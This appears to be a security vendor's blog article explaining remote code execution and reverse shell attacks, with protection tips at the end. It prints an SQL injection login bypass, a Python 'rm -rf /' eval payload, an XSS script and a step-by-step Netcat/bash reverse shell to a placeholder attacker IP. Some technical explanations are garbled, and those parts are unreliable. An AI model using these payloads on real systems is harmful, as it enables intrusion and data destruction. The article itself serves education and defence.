Contents:
Remote Code Execution (RCE) is an attack technique used by black-hat hackers to run malicious code on the victim’s machine and is more than often confused with ACE (i.e., Arbitrary Code Execution), another code execution class attack technique, which primarily focuses on the exploitation of abnormal outputs. In this article, we’re going to talk about RCE and how it stacks up against another attack class called reverse shell. We will also deep-dive into attack staging, purpose, and measure the impact of each technique against enterprise resources.
What is Remote Code Execution (RCE)?
According to MITRE’s ATT&CK framework, RCE is a technique that falls under the Execution class, being designed to work in tandem with other tactics in order to achieve miscellaneous goals (i.e., network exploration) or simply to increase the odds of success. As I pointed out in the intro, in some cases, Remote Code Execution can be mistaken for Arbitrary Code Execution; both are under the control of the adversary and can be used to achieve similar purposes. However, in RCE, the attack is not limited to a single endpoint, its goal being to subvert entire networks, whereas ACE focuses on singularities; overt or hidden flaws that can be leveraged.
Remote Code Execution can further be classified based on origin. RCE targeting apps, devices, or Operating Systems at the code level are called DCE (Dynamic Code Execution) attacks, while those gunning for memory allocation (or management) issues are called MSA (Memory Safety Attacks).
Dynamic Code Execution Attacks
Code injection is, by far, the most popular method used by DCE threat actors. For the desired impact, code injection can be performed at two levels: client and/or server.
SQL(i) Injection Attack
On the client side, the most common DCE/RCE method used to take advantage of code flaws is SQL injection; an attempt to take control of an SQL database by passing along crafted arguments. A successful attack would allow the threat actor to view and export PII such as banking details, usernames, passwords, physical addresses, and even medical details if such info would be stored in a relational database.
SQL attacks can be employed for a wide range of purposes that include (malicious) data manipulation (e.g., deleting, updating, or inserting data or datatypes), database exploitation (e.g. using command line arguments to retrieve malicious components from hacker-owned servers, or to install malware on the victims’ machines), data exfiltration, and performing reconnaissance.
To see how this type of attack could impact a database, head to TechPanda aka the white-hat hacker’s go-to practice dummy. The site contains a simple login form connected to an unsecured SQL database. Here’s how you too can stage a simple SQL injection attack.
Step 1. Head to techpanda.org.
Step 2. Enter the following credentials
Email: xxx@xxx.xxx
Password: xxx’) OR 1 = 1 — ]
Step 3. Hit the Login button and watch the magic happen.
Normally, the page would have granted you access if the credentials supplied matched a database entry. However, by inputting the above-mentioned arguments in the fields, the page outputs the entire contents of the database, meaning first names, last names, and their associated SQL IDs. Let’s break it down a bit.
By feeding xxx@xxx.xxx into the email field, you basically instruct the database to fetch all records matching the string’s format. The xxx’) OR 1 = 1 — ] argument specifies that the condition will always store the Boolean value ‘True’ and that the results returned by the query should be limited to one record only.
As for the ‘-‘argument, this tells the database to exclude all MD5-encrypted passwords. Once granted access to the database, you can perform other side actions; for instance, you can generate your own credentials for persistence purposes or delete the entire table.
PHP Code Injection
This is another great example of code injection using PHP scripting. From a technical standpoint, PHP code injection is very similar to SQL injection, the only differentiator here being the programming language. GeekforGeeks has an outstanding example of Python injection which utilizes the eval ()
function.
According to the article, PHP pages with no type of input validation safeguards, are vulnerable to code injection attacks. In this example, the adversary used crafted PHP code to obtain all the info stored on the PHP page, along with other critical details such as the ID tags of all the processes running in the background. Check out the article for more info.
Python Code Injection
Python vulnerabilities come in two varieties – language- and software-specific. Let’s start with the first. Some Python expressions are more prone to code injection than others (e.g., exec(string)
, eval(string)
, execfile(string)
, input(string)
, compile(string)
). Here’s a quick example of how the eval(string) can be used for malicious purposes.
Consider the code below. For those of you unfamiliar with Python, this is a simple calculator application. Once compiled, the program will ask the user to input some type of computation (e.g. 30*4+2). The result will be printed on the screen. Try it out for yourself.
comp = input('\nYour computation? => ') if not comp: print ("No input") else: print ("Result =", eval(comp))
Here’s where things get interesting. The very same program can be recompiled to include OS-specific modules. In Introduction to Software Security, the authors leveraged the Python-written calculator app to remove the filesystem root by using the expression __import__('os').system('rm –rf /')
. A bit of background: the first part of the expression (i.e. _import_(‘os’).system) instructs the application to fetch a module that interfaces with the Operating System. The second part of the expression instructs the freshly-fetched module shell-execute the filesystem root. Keep in mind that this ‘trick’ works if the attacker manages to obtain adequate privileges.
A quick and effective workaround would be to introduce a data validation expression inside the code. In a nutshell, this function eyeballs the code and determines if it’s legit or not. Here’s how the Python calc would look like if we inserted the validate () function. So, if your input matches a computation job (e.g. 2*2), the program will print out the result on the screen. Else, if try messing around with arguments, it will return an error.
comp = input('\nYour computation? => ') if not comp: ("No input") else: if validate(comp): print ("Result =", eval(comp)) else: print ("Error")
Code courtesy of University of Wisconsin-Madison
HTML Code Injection (Cross-Scripting Attacks)
Cross-Scripting or XSS is a code injection attack that takes advantage of vulnerable HTML or PHP code to run malicious scripts on the victim’s machine. In XSS, the adversary injects a malicious script in an unsecured HTML page; with the new configuration being saved on the web server, the script would run itself each time the victim calls that specific function. Cross-scripting attacks tend to have a high impact, but fall short when it comes to staging; discovering exploitable, server-side vulnerabilities, is a lengthy process and not without risks. Here’s what a simple XSS attack would look like.
Let’s assume that you’ve discovered a website that is vulnerable to this type of attack. One simple thing you can do to test this assumption is to find a search bar and run a simple script like
<script>alert(‘XSS’)</script>
Note that this is a JavaScript XSS. We’ll get to HTML Cross-Scripting in a bit. Now, if the webpage is not properly secured, running this script would print out an alert.
Let’s move on to HTML XSS. Picture a simple HTML page with only a handful of elements: an H1 header and a database callback. If the page in question is vulnerable to XSS, you may use an HTML script to manipulate on-page elements or even ‘detonate’ the entire page.
In this example from Software Testing Help, the destroyWebsite()
argument was used in order to tear down the page (i.e. <script>destroyWebsite();</script>
).
Memory Safety Attacks
Buffer overflow
A buffer overflow occurs when the volume of data written in a buffer exceeds its volume. A hacker can take advantage of this defect in order to obtain access to sensitive areas. For additional information on this type of MSA, I highly encourage you to read my colleague’s article on buffer overflow exploitation.
Stack smashing
Stack smashing is a buffer overflow variation. Instead of taking advantage of how info is written inside a buffer, this technique exploits the x86 function call convention (i.e., how the machine ‘arranges’ all the local variables on a stack). Here’s what a stack smashing attack might look like.
Let’s consider the following code:
void vulnerable() { char buf[8]; gets(buf); }
Code courtesy of Computer Security
When the vulnerable ()
function is called up, the machine will place a so-called stack frame on the stack; imagine a wall, with bricks stacked on top of each other. In this case, the stack would list the instruction pointer of vulnerable (i.e. rip of spf), followed by the Sender Policy Framework of vulnerable (i.e. spf of vulnerable) and the buffer. What happens during a stack smashing attack is that the adversary purposefully writes a very long input. This, in turn, will force the machine to write past the end of the buf function, overwriting spf and rip along the way.
Format string vulnerabilities
In format string vulnerabilities, the inputted data (i.e. string) gets misinterpreted as a command. This would allow the adversary to execute malicious code, trigger anomalous responses, or read stack information.
The most documented format string attack involves the printf
function that’s used to output a formatted string. Here’s what a format string attack might look like with printf
.
Consider the following code:
#include <stdio.h void main(int argc, char **argv) printf("%s\n", argv[1]); printf("%s\n", argv[1]); printf(argv[1]);}
Code courtesy of OWASP
When executed, the program will output two types of results.
The first line will output “%s” as part of the inputted string and not interpret it as a command. For instance, if we were to add the famous “Hello world” line, the output will be “Hello World %s%s%s%s%s%s”. Now let’s take a look at the second output.
If we were to run the program, the output would pretty much look the same as in the first case. However, here’s where things get really interesting; in the second example, the program would interpret the “%s” as a reference to the string pointer, going up and down the stack. During compilation, it may run across pointers with invalid addresses. This, in turn, would cause the program itself to crash. Ancillary payloads may be used for different results.
Reverse Shell Attack
A reverse shell attack capitalizes on the user-server roles of “initiator” and “listener”. Before we deep-dive into reverse shell(ing), we should have a quick chat about bind shell. So, whenever you’re trying to access a resource stored on a server, you become what it’s called an initiator.
At the same time, the server assumes the mantle of the listener. Now, during a normal transaction, the initiator would forward a request to the listener, which, in turn, interprets, validates, and returns the query, before closing the comm port. So, what is a bind shell?
Let’s assume that someone initiates a comm with a server. Instead of the normal request, the initiator transmits a payload along with a command to execute malicious shell code, basically binding or tethering the server’s port.
Upon receiving the request, the listener will execute the shell code along with the attached payload. This attack technique can be employed for all manner of purposes, from data exfiltration to lateral movement. Now that we know what bind shell(ing) means, let’s move on to reverse shell.
In reverse shell attacks, the adversary assumes the role of the listener, while the server becomes the initiator. Essentially, the threat actor would do a roll-call of all machines and instruct them to establish a remote connection with his machine which, in this case, becomes the listener. Now let’s see the reverse shell in action with BASH.
Step 1. Install the right utility. (e.g. Netcat).
Step 2. Set up your ‘listening’ machine. After firing up Netcat or your utility of choice, set up the listening machine by inputting the code below
nc -nlvp 4444
Step 3. Victim discovery. After identifying the victim’s machine, use BASH to force the machine to establish a remote connection to the attacking machine. Use this line in Netcat
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Code courtesy of Cloud Native Wiki
Congrats! You’ve just learned how to perform a reverse shell attack using Netcat. Now let’s see what happens behind the scenes. For this particular case, we’ve set the attacker’s machine to listen on port 4444. As for the reverse shell itself, the second line in Netcat basically allows the listener (i.e. attacker) to run malicious commands on the victim’s machine.
How to Protect Against Remote Code Execution and Reverse Shell Attacks
Worried about RCE or reverse shell attacks? Here are a couple of things you can try out to bolster security.
- Blacklisting. Try to black-ball any and all special functions or special characters.
- Sanitization. Siphon the power of the front-end and back-end in order to sanitize all those user inputs.
- Continuous patching. Keep an eye out for the latest security patches and deploy them as soon as possible. You could also try out to set up an automatic patching flow for your most vulnerable products, apps, and services. Heimdal®’s Patch & Asset Management can aid you in deploying patches quickly, easily, and safely, regardless of their nature (i.e. third-party, OS-specific, proprietary, or optional).
- Firewall policies. Ensure to review and strengthen your inbound/outbound policies to sever connections to potentially malicious websites.
- IDS management. Ensure that your IDS is configured to pick up suspicious command executions.
- Zero Trust Policies. Enforce zero trust policies to prevent lateral movement.